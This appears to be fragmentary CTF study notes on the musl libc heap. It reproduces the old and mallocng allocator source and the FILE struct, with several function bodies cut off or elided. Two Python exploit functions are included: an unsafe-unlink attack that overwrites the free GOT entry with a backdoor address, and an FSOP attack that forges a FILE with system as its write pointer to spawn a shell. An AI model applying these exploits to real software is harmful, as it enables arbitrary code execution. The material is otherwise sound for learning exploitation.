static struct {
    volatile uint64_t binmap;
    struct bin bins[64];
    volatile int free_lock[2];
} mal;

struct bin {
    volatile int lock[2];
    struct chunk *head;
    struct chunk *tail;
};

static inline void lock_bin(int i) {
    lock(mal.bins[i].lock);
    if (!mal.bins[i].head)
        mal.bins[i].head = mal.bins[i].tail = BIN_TO_CHUNK(i);
}

struct chunk {
    size_t psize, csize;
    struct chunk *next, *prev;
};

#define SIZE_ALIGN (4*sizeof(size_t))
#define SIZE_MASK (-SIZE_ALIGN)
#define OVERHEAD (2*sizeof(size_t))
#define MMAP_THRESHOLD (0x1c00*SIZE_ALIGN)
#define DONTCARE 16
#define RECLAIM 163840

#define CHUNK_SIZE(c) ((c)->csize & -2)
#define CHUNK_PSIZE(c) ((c)->psize & -2)
#define PREV_CHUNK(c) ((struct chunk *)((char *)(c) - CHUNK_PSIZE(c)))
#define NEXT_CHUNK(c) ((struct chunk *)((char *)(c) + CHUNK_SIZE(c)))
#define MEM_TO_CHUNK(p) (struct chunk *)((char *)(p) - OVERHEAD)
#define CHUNK_TO_MEM(c) (void *)((char *)(c) + OVERHEAD)
#define BIN_TO_CHUNK(i) (MEM_TO_CHUNK(&mal.bins[i].head))

#define C_INUSE  ((size_t)1)

#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))

static void unbin(struct chunk *c, int i) {
    if (c->prev == c->next)
        a_and_64(&mal.binmap, ~(1ULL << i));
    c->prev->next = c->next;
    c->next->prev = c->prev;
    c->csize |= C_INUSE;
    NEXT_CHUNK(c)->psize |= C_INUSE;
}

static int alloc_fwd(struct chunk *c) {
    int i;
    size_t k;
    while (!((k = c->csize) & C_INUSE)) {
        i = bin_index(k);
        lock_bin(i);
        if (c->csize == k) {
            unbin(c, i);
            unlock_bin(i);
            return 1;
        }
        unlock_bin(i);
    }
    return 0;
}

static int alloc_rev(struct chunk *c) {
    int i;
    size_t k;
    while (!((k = c->psize) & C_INUSE)) {
        i = bin_index(k);
        lock_bin(i);
        if (c->psize == k) {
            unbin(PREV_CHUNK(c), i);
            unlock_bin(i);
            return 1;
        }
        unlock_bin(i);
    }
    return 0;
}

static int adjust_size(size_t *n) {
    /* Result of pointer difference must fit in ptrdiff_t. */
    if (*n - 1 > PTRDIFF_MAX - SIZE_ALIGN - PAGE_SIZE) {
        if (*n) {
            errno = ENOMEM;
            return -1;
        } else {
            *n = SIZE_ALIGN;
            return 0;
        }
    }
    *n = (*n + OVERHEAD + SIZE_ALIGN - 1) & SIZE_MASK;
    return 0;
}

    if (adjust_size(&n) < 0) return 0;

if (n > MMAP_THRESHOLD) {
    size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
    char *base = __mmap(0, len, PROT_READ | PROT_WRITE,
                        MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (base == (void *) -1) return 0;
    c = (void *) (base + SIZE_ALIGN - OVERHEAD);
    c->csize = len - (SIZE_ALIGN - OVERHEAD);
    c->psize = SIZE_ALIGN - OVERHEAD;
    return CHUNK_TO_MEM(c);
}

void *malloc(size_t n)
{
    struct chunk *c;
    int i, j;

    if (adjust_size(&n) < 0) return 0;

    if (n > MMAP_THRESHOLD) {
        size_t len = n + OVERHEAD + PAGE_SIZE - 1 & -PAGE_SIZE;
        char *base = __mmap(0, len, PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (base == (void *)-1) return 0;
        c = (void *)(base + SIZE_ALIGN - OVERHEAD);
        c->csize = len - (SIZE_ALIGN - OVERHEAD);
        c->psize = SIZE_ALIGN - OVERHEAD;
        return CHUNK_TO_MEM(c);
    }

    i = bin_index_up(n);
    for (;;) {
        uint64_t mask = mal.binmap & -(1ULL<<i);
        if (!mask) {
            c = expand_heap(n);
            if (!c) return 0;
            if (alloc_rev(c)) {
                struct chunk *x = c;
                c = PREV_CHUNK(c);
                NEXT_CHUNK(x)->psize = c->csize =
                    x->csize + CHUNK_SIZE(c);
            }
            break;
        }
        j = first_set(mask);
        lock_bin(j);
        c = mal.bins[j].head;
        if (c != BIN_TO_CHUNK(j)) {
            if (!pretrim(c, n, i, j)) unbin(c, j);
            unlock_bin(j);
            break;
        }
        unlock_bin(j);
    }

    /* Now patch up in case we over-allocated */
    trim(c, n);

    return CHUNK_TO_MEM(c);
}

/* The argument n already accounts for the caller's chunk
 * overhead needs, but if the heap can't be extended in-place,
 * we need room for an extra zero-sized sentinel chunk. */
n += SIZE_ALIGN;

lock(heap_lock);

p = __expand_heap(&n);
if (!p) {
    unlock(heap_lock);
    return 0;
}

/* If not just expanding existing space, we need to make a
 * new sentinel chunk below the allocated space. */
if (p != end) {
    /* Valid/safe because of the prologue increment. */
    n -= SIZE_ALIGN;
    p = (char *) p + SIZE_ALIGN;
    w = MEM_TO_CHUNK(p);
    w->psize = 0 | C_INUSE;
}

/* Record new heap end and fill in footer. */
end = (char *) p + n;
w = MEM_TO_CHUNK(end);
w->psize = n | C_INUSE;
w->csize = 0 | C_INUSE;

/* Fill in header, which may be new or may be replacing a
 * zero-size sentinel header at the old end-of-heap. */
w = MEM_TO_CHUNK(p);
w->csize = n | C_INUSE;

unlock(heap_lock);

return w;

if (n > SIZE_MAX / 2 - PAGE_SIZE) {
    errno = ENOMEM;
    return 0;
}
n += -n & PAGE_SIZE - 1;

if (!brk) {
    brk = __syscall(SYS_brk, 0);
    brk += -brk & PAGE_SIZE - 1;
}

if (n < SIZE_MAX - brk && !traverses_stack_p(brk, brk + n)
    && __syscall(SYS_brk, brk + n) == brk + n) {
    *pn = n;
    brk += n;
    return (void *) (brk - n);
}

size_t min = (size_t) PAGE_SIZE << mmap_step / 2;
if (n < min) n = min;
void *area = __mmap(0, n, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (area == MAP_FAILED) return 0;
*pn = n;
mmap_step++;
return area;

if (j < 40) return 0;
if (j < i + 3) {
    if (j != 63) return 0;
    n1 = CHUNK_SIZE(self);
    if (n1 - n <= MMAP_THRESHOLD) return 0;
} else {
    n1 = CHUNK_SIZE(self);
}

if (bin_index(n1 - n) != j) return 0;

next = NEXT_CHUNK(self);
split = (void *) ((char *) self + n);

split->prev = self->prev;
split->next = self->next;
split->prev->next = split;
split->next->prev = split;
split->psize = n | C_INUSE;
split->csize = n1 - n;
next->psize = n1 - n;
self->csize = n | C_INUSE;
return 1;

static void trim(struct chunk *self, size_t n) {
    size_t n1 = CHUNK_SIZE(self);
    struct chunk *next, *split;

    if (n >= n1 - DONTCARE) return;

    next = NEXT_CHUNK(self);
    split = (void *) ((char *) self + n);

    split->psize = n | C_INUSE;
    split->csize = n1 - n | C_INUSE;
    next->psize = n1 - n | C_INUSE;
    self->csize = n | C_INUSE;

    __bin_chunk(split);
}

static void unmap_chunk(struct chunk *self) {
    size_t extra = self->psize;
    char *base = (char *) self - extra;
    size_t len = CHUNK_SIZE(self) + extra;
    /* Crash on double free */
    if (extra & 1) a_crash();
    __munmap(base, len);
}

#define IS_MMAPPED(c) !((c)->csize & (C_INUSE))

void free(void *p) {
    if (!p) return;

    struct chunk *self = MEM_TO_CHUNK(p);

    if (IS_MMAPPED(self))
        unmap_chunk(self);
    else
        __bin_chunk(self);
}

final_size = new_size = CHUNK_SIZE(self); 

struct chunk *next = NEXT_CHUNK(self);
...
/* Crash on corrupted footer (likely from buffer overflow) */
if (next->psize != self->csize) a_crash();

for (;;) {
    if (self->psize & next->csize & C_INUSE) {
        self->csize = final_size | C_INUSE;
        next->psize = final_size | C_INUSE;
        i = bin_index(final_size);
        lock_bin(i);
        lock(mal.free_lock);
        if (self->psize & next->csize & C_INUSE)
            break;
        unlock(mal.free_lock);
        unlock_bin(i);
    }

    if (alloc_rev(self)) {
        self = PREV_CHUNK(self);
        size = CHUNK_SIZE(self);
        final_size += size;
        if (new_size + size > RECLAIM && (new_size + size ^ size) > size)
            reclaim = 1;
    }

    if (alloc_fwd(next)) {
        size = CHUNK_SIZE(next);
        final_size += size;
        if (new_size + size > RECLAIM && (new_size + size ^ size) > size)
            reclaim = 1;
        next = NEXT_CHUNK(next);
    }
}

    if (!(mal.binmap & 1ULL << i))
        a_or_64(&mal.binmap, 1ULL << i);

    self->csize = final_size;
    next->psize = final_size;
    unlock(mal.free_lock);

    self->next = BIN_TO_CHUNK(i);
    self->prev = mal.bins[i].tail;
    self->next->prev = self;
    self->prev->next = self;

    /* Replace middle of large chunks with fresh zero pages */
    if (reclaim) {
        uintptr_t a = (uintptr_t) self + SIZE_ALIGN + PAGE_SIZE - 1 & -PAGE_SIZE;
        uintptr_t b = (uintptr_t) next - SIZE_ALIGN & -PAGE_SIZE;
#if 1
        __madvise((void *) a, b - a, MADV_DONTNEED);
#else
        __mmap((void *)a, b-a, PROT_READ|PROT_WRITE,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
#endif
    }

    unlock_bin(i);

static void unbin(struct chunk *c, int i) {
    if (c->prev == c->next)
        a_and_64(&mal.binmap, ~(1ULL << i));
    c->prev->next = c->next;
    c->next->prev = c->prev;
    c->csize |= C_INUSE;
    NEXT_CHUNK(c)->psize |= C_INUSE;
}

def unlink():
    heap_arr = 0x4120A0
    add(0, 0x20)  # chunk0
    add(1, 0x20)  # chunk1
    edit(0, 0x2c, flat([b'\x00\x00\x00\x01', p32(0x28), # psize->C_INUSE=1 csize->C_INUSE=0
                        heap_arr+0x10, heap_arr+0x10, 
                        b'\x00'*0x18, b'\x00\x00\x00\x28'])) # next->next->psize==curr->csize

    dele(1)

    edit(6, 0x4, p32(0x412024)) # free_got
    edit(4, 0x4, p32(0x4007F0)) # back_door
    cmd('2')
    ru("Enter index to free:\n")
    sl("0")

00000000 struct __attribute__((aligned(8))) _IO_FILE // sizeof=0x90
00000000 {                                       // XREF: FILE/r
00000000     unsigned int flags;
00000004     unsigned __int8 *rpos;              // XREF: strtoull+48/w
00000004                                         // strtoull+8C/r ...
00000008     unsigned __int8 *rend;              // XREF: strtoull+44/w
00000008                                         // strtoll+44/w ...
0000000C     int (*close)(FILE *);
00000010     unsigned __int8 *wend;
00000014     unsigned __int8 *wpos;
00000018     unsigned __int8 *mustbezero_1;
0000001C     unsigned __int8 *wbase;
00000020     size_t (*read)(FILE *, unsigned __int8 *, size_t);
00000024     size_t (*write)(FILE *, const unsigned __int8 *, size_t);
00000028     off_t (*seek)(FILE *, off_t, int);
0000002C     unsigned __int8 *buf;               // XREF: strtoull+4C/w
0000002C                                         // strtoull+88/r ...
00000030     size_t buf_size;
00000034     FILE *prev;
00000038     FILE *next;
0000003C     int fd;
00000040     int pipe_pid;
00000044     int lockcount;
00000048     int mode;
0000004C     volatile int lock;
00000050     int lbf;
00000054     void *cookie;
00000058     off_t off;
00000060     char *getln_buf;
00000064     void *mustbezero_2;
00000068     unsigned __int8 *shend;
0000006C     // padding byte
0000006D     // padding byte
0000006E     // padding byte
0000006F     // padding byte
00000070     off_t shlim;
00000078     off_t shcnt;                        // XREF: strtoull+98/r
00000078                                         // strtoll+98/r ...
00000080     FILE *prev_locked;
00000084     FILE *next_locked;
00000088     __locale_struct *locale;
0000008C     // padding byte
0000008D     // padding byte
0000008E     // padding byte
0000008F     // padding byte
00000090 };

FILE *volatile __stdin_used = &__stdin_FILE;
FILE *volatile __stdout_used = &__stdout_FILE;
FILE *volatile __stderr_used = &__stderr_FILE;

_Noreturn void exit(int code) {
    __funcs_on_exit();
    __libc_exit_fini();
    __stdio_exit();
    _Exit(code);
}

void __stdio_exit(void) {
    FILE *f;
    for (f = *__ofl_lock(); f; f = f->next) close_file(f);
    close_file(__stdin_used);
    close_file(__stdout_used);
    close_file(__stderr_used);
}

static void close_file(FILE *f) {
    if (!f) return;
    FFINALLOCK(f);
    if (f->wpos != f->wbase) f->write(f, 0, 0);
    if (f->rpos != f->rend) f->seek(f, f->rpos - f->rend, SEEK_CUR);
}

FFINALLOCK(f);
//定义:  
#define FFINALLOCK(f) ((f)->lock >= 0 ? __lockfile((f)) : 0)
//替换:  
((f)->lock >= 0 ? __lockfile((f)) : 0)

int puts(const char *s) {
    int r;
    FLOCK(stdout);
    r = -(fputs(s, stdout) < 0 || putc_unlocked('\n', stdout) < 0);
    FUNLOCK(stdout);
    return r;
}

int fputs(const char *restrict s, FILE *restrict f) {
    size_t l = strlen(s);
    return (fwrite(s, 1, l, f) == l) - 1;
}

size_t fwrite(const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) {
    size_t k, l = size * nmemb;
    if (!size) nmemb = 0;
    FLOCK(f);
    k = __fwritex(src, l, f);
    FUNLOCK(f);
    return k == l ? nmemb : k / size;
}

int __towrite(FILE *f) {
    ...
    if (f->flags & F_NOWR) {
        f->flags |= F_ERR;
        return EOF;
    }
    ...
    return 0;
}

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) {
    size_t i = 0;

    if (!f->wend && __towrite(f)) return 0;

    if (l > f->wend - f->wpos) return f->write(f, s, l);
    ...
}

def FSOP():
    heap_arr = 0x4120A0
    add(0, 0xa0)  # chunk0
    add(1, 0xa0)  # chunk1
    libc.address = u32(show(0, 0x4)) - 0xdd008
    heap_addr = libc.address + 0xded50
    stdin_used = libc.symbols['__stdin_used']
    log.success(f"libc_base: {hex(libc.address)}")
    log.success(f"heap_addr: {hex(heap_addr)}")
    log.success(f"stdin_used: {hex(stdin_used)}")

    edit(0, 0xac, flat([b'\x00\x00\x00\x01', p32(0xa8), 
                        heap_arr+0x4*0x4, heap_arr+0x4*0x4, 
                        b'\x00'*0x98, b'\x00\x00\x00\xa8']))
    dele(1)

    edit(6, 0x4, p32(stdin_used))
    edit(4, 0x4, p32(heap_addr))

    fake_file = b''
    fake_file += b"sh".ljust(4, b'\x00')  # flags
    fake_file += p32(0)  # rpos
    fake_file += p32(0)  # rend
    fake_file += p32(0)  # close
    fake_file += p32(0)  # wend
    fake_file += p32(0x114)  # wpos
    fake_file += p32(0)  # mustbezero_1
    fake_file += p32(0x514)  # wbase
    fake_file += p32(0)  # read
    fake_file += p32(libc.sym['system'])  # write
    fake_file = fake_file.ljust(0x90, b'\x00')  # lock = 0
    edit(0, 0xa0, flat([fake_file]))
    cmd('5')

static inline void queue(struct meta **phead, struct meta *m) {
    assert(!m->next);
    assert(!m->prev);
    if (*phead) {
        struct meta *head = *phead;
        m->next = head;
        m->prev = head->prev;
        m->next->prev = m->prev->next = m;
    } else {
        m->prev = m->next = m;
        *phead = m;
    }
}

static inline void dequeue(struct meta **phead, struct meta *m) {
    if (m->next != m) {
        m->prev->next = m->next;
        m->next->prev = m->prev;
        if (*phead == m) *phead = m->next;
    } else {
        *phead = 0;
    }
    m->prev = m->next = 0;
}

static inline struct meta *dequeue_head(struct meta **phead) {
    struct meta *m = *phead;
    if (m) dequeue(phead, m);
    return m;
}

#define PAGESIZE 4096

struct malloc_context {
    uint64_t secret;
#ifndef PAGESIZE
    size_t pagesize;
#endif
    int init_done;
    unsigned mmap_counter;
    struct meta *free_meta_head;
    struct meta *avail_meta;
    size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift;
    struct meta_area *meta_area_head, *meta_area_tail;
    unsigned char *avail_meta_areas;
    struct meta *active[48];
    size_t usage_by_class[48];
    uint8_t unmap_seq[32], bounces[32];
    uint8_t seq;
    uintptr_t brk;
};

#define ctx __malloc_context

__attribute__((__visibility__("hidden"))) extern struct malloc_context ctx;

struct meta_area {
    uint64_t check;
    struct meta_area *next;
    int nslots;
    struct meta slots[];
};

struct meta {
    struct meta *prev, *next;
    struct group *mem;
    volatile int avail_mask, freed_mask;
    uintptr_t last_idx : 5;
    uintptr_t freeable : 1;
    uintptr_t sizeclass : 6;
    uintptr_t maplen : 8 * sizeof(uintptr_t) - 12; // for padding 64 bit = 52 | 32 bit = 20
};

static inline size_t get_stride(const struct meta *g) {
    if (!g->last_idx && g->maplen) {
        return g->maplen * 4096UL - UNIT;
    } else {
        return UNIT * size_classes[g->sizeclass];
    }
}

static inline void free_meta(struct meta *m) {
    *m = (struct meta){0};
    queue(&ctx.free_meta_head, m);
}

    if (!ctx.init_done) {
#ifndef PAGESIZE
        ctx.pagesize = get_page_size();
#endif
        ctx.secret = get_random_secret();
        ctx.init_done = 1;
    }

#define PAGESIZE 4096

#ifdef PAGESIZE
#define PGSZ PAGESIZE
#else
#define PGSZ ctx.pagesize
#endif

    size_t pagesize = PGSZ;
    if (pagesize < 4096) pagesize = 4096;

if ((m = dequeue_head(&ctx.free_meta_head))) return m;

if (!ctx.avail_meta_count) {...}
ctx.avail_meta_count--;
m = ctx.avail_meta++;
m->prev = m->next = 0;
return m;

int need_unprotect = 1;

if (!ctx.avail_meta_area_count && ctx.brk != -1) {
    uintptr_t new = ctx.brk + pagesize;
    int need_guard = 0;
    if (!ctx.brk) {
        need_guard = 1;
        ctx.brk = brk(0);
        // some ancient kernels returned _ebss
        // instead of next page as initial brk.
        ctx.brk += -ctx.brk & (pagesize - 1);
        new = ctx.brk + 2 * pagesize;
    }
    if (brk(new) != new) {
        ctx.brk = -1;
    } else {
        if (need_guard) mmap((void *) ctx.brk, pagesize, PROT_NONE, MAP_ANON | MAP_PRIVATE | MAP_FIXED, -1, 0);
        ctx.brk = new;
        ctx.avail_meta_areas = (void *) (new - pagesize);
        ctx.avail_meta_area_count = pagesize >> 12;
        need_unprotect = 0;
    }
}

if (!ctx.avail_meta_area_count) {
    size_t n = 2UL << ctx.meta_alloc_shift;
    p = mmap(0, n * pagesize, PROT_NONE, MAP_PRIVATE | MAP_ANON, -1, 0);
    if (p == MAP_FAILED) return 0;
    ctx.avail_meta_areas = p + pagesize;
    ctx.avail_meta_area_count = (n - 1) * (pagesize >> 12);
    ctx.meta_alloc_shift++;
}
p = ctx.avail_meta_areas;
if ((uintptr_t) p & (pagesize - 1)) need_unprotect = 0;
if (need_unprotect)
    if (mprotect(p, pagesize, PROT_READ | PROT_WRITE) && errno != ENOSYS)
        return 0;

ctx.avail_meta_area_count--;
ctx.avail_meta_areas = p + 4096;
if (ctx.meta_area_tail) {
    ctx.meta_area_tail->next = (void *) p;
} else {
    ctx.meta_area_head = (void *) p;
}
ctx.meta_area_tail = (void *) p;
ctx.meta_area_tail->check = ctx.secret;
ctx.avail_meta_count = ctx.meta_area_tail->nslots = (4096 - sizeof(struct meta_area)) / sizeof *m;
ctx.avail_meta = ctx.meta_area_tail->slots;

struct group {
    struct meta *meta;
    unsigned char active_idx : 5;
    char pad[UNIT - sizeof(struct meta *) - 1];
    unsigned char storage[];
};

size_t size = UNIT * size_classes[sc];
int i = 0, cnt;
unsigned char *p;
struct meta *m = alloc_meta();
if (!m) return 0;
size_t usage = ctx.usage_by_class[sc];
size_t pagesize = PGSZ;
int active_idx;
if (sc < 9) {
    while (i < 2 && 4 * small_cnt_tab[sc][i] > usage)
        i++;
    cnt = small_cnt_tab[sc][i];
} else {
    // lookup max number of slots fitting in power-of-two size
    // from a table, along with number of factors of two we
    // can divide out without a remainder or reaching 1.
    cnt = med_cnt_tab[sc & 3];

    // reduce cnt to avoid excessive eagar allocation.
    while (!(cnt & 1) && 4 * cnt > usage)
        cnt >>= 1;

    // data structures don't support groups whose slot offsets
    // in units don't fit in 16 bits.
    while (size * cnt >= 65536 * UNIT)
        cnt >>= 1;
}

// If we selected a count of 1 above but it's not sufficient to use
// mmap, increase to 2. Then it might be; if not it will nest.
if (cnt == 1 && size * cnt + UNIT <= pagesize / 2) cnt = 2;

// All choices of size*cnt are "just below" a power of two, so anything
// larger than half the page size should be allocated as whole pages.
if (size * cnt + UNIT > pagesize / 2) {
    // check/update bounce counter to start/increase retention
    // of freed maps, and inhibit use of low-count, odd-size
    // small mappings and single-slot groups if activated.
    int nosmall = is_bouncing(sc);
    account_bounce(sc);
    step_seq();

    // since the following count reduction opportunities have
    // an absolute memory usage cost, don't overdo them. count
    // coarse usage as part of usage.
    if (!(sc & 1) && sc < 32) usage += ctx.usage_by_class[sc + 1];

    // try to drop to a lower count if the one found above
    // increases usage by more than 25%. these reduced counts
    // roughly fill an integral number of pages, just not a
    // power of two, limiting amount of unusable space.
    if (4 * cnt > usage && !nosmall) {
        if (0)
            ;
        else if ((sc & 3) == 1 && size * cnt > 8 * pagesize)
            cnt = 2;
        else if ((sc & 3) == 2 && size * cnt > 4 * pagesize)
            cnt = 3;
        else if ((sc & 3) == 0 && size * cnt > 8 * pagesize)
            cnt = 3;
        else if ((sc & 3) == 0 && size * cnt > 2 * pagesize)
            cnt = 5;
    }
    size_t needed = size * cnt + UNIT;
    needed += -needed & (pagesize - 1);

    // produce an individually-mmapped allocation if usage is low,
    // bounce counter hasn't triggered, and either it saves memory
    // or it avoids eagar slot allocation without wasting too much.
    if (!nosmall && cnt <= 7) {
        req += IB + UNIT;
        req += -req & (pagesize - 1);
        if (req < size + UNIT || (req >= 4 * pagesize && 2 * cnt > usage)) {
            cnt = 1;
            needed = req;
        }
    }

    p = mmap(0, needed, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);
    if (p == MAP_FAILED) {
        free_meta(m);
        return 0;
    }
    m->maplen = needed >> 12;
    ctx.mmap_counter++;
    active_idx = (4096 - UNIT) / size - 1;
    if (active_idx > cnt - 1) active_idx = cnt - 1;
    if (active_idx < 0) active_idx = 0;
} 

else {
    int j = size_to_class(UNIT + cnt * size - IB);
    int idx = alloc_slot(j, UNIT + cnt * size - IB);
    if (idx < 0) {
        free_meta(m);
        return 0;
    }
    struct meta *g = ctx.active[j];
    p = enframe(g, idx, UNIT * size_classes[j] - IB, ctx.mmap_counter);
    m->maplen = 0;
    p[-3] = (p[-3] & 31) | (6 << 5);
    for (int i = 0; i <= cnt; i++)
        p[UNIT + i * size - 4] = 0;
    active_idx = cnt - 1;
}

ctx.usage_by_class[sc] += cnt;
m->avail_mask = (2u << active_idx) - 1;
m->freed_mask = (2u << (cnt - 1)) - 1 - m->avail_mask;
m->mem = (void *) p;
m->mem->meta = m;
m->mem->active_idx = active_idx;
m->last_idx = cnt - 1;
m->freeable = 1;
m->sizeclass = sc;
return m;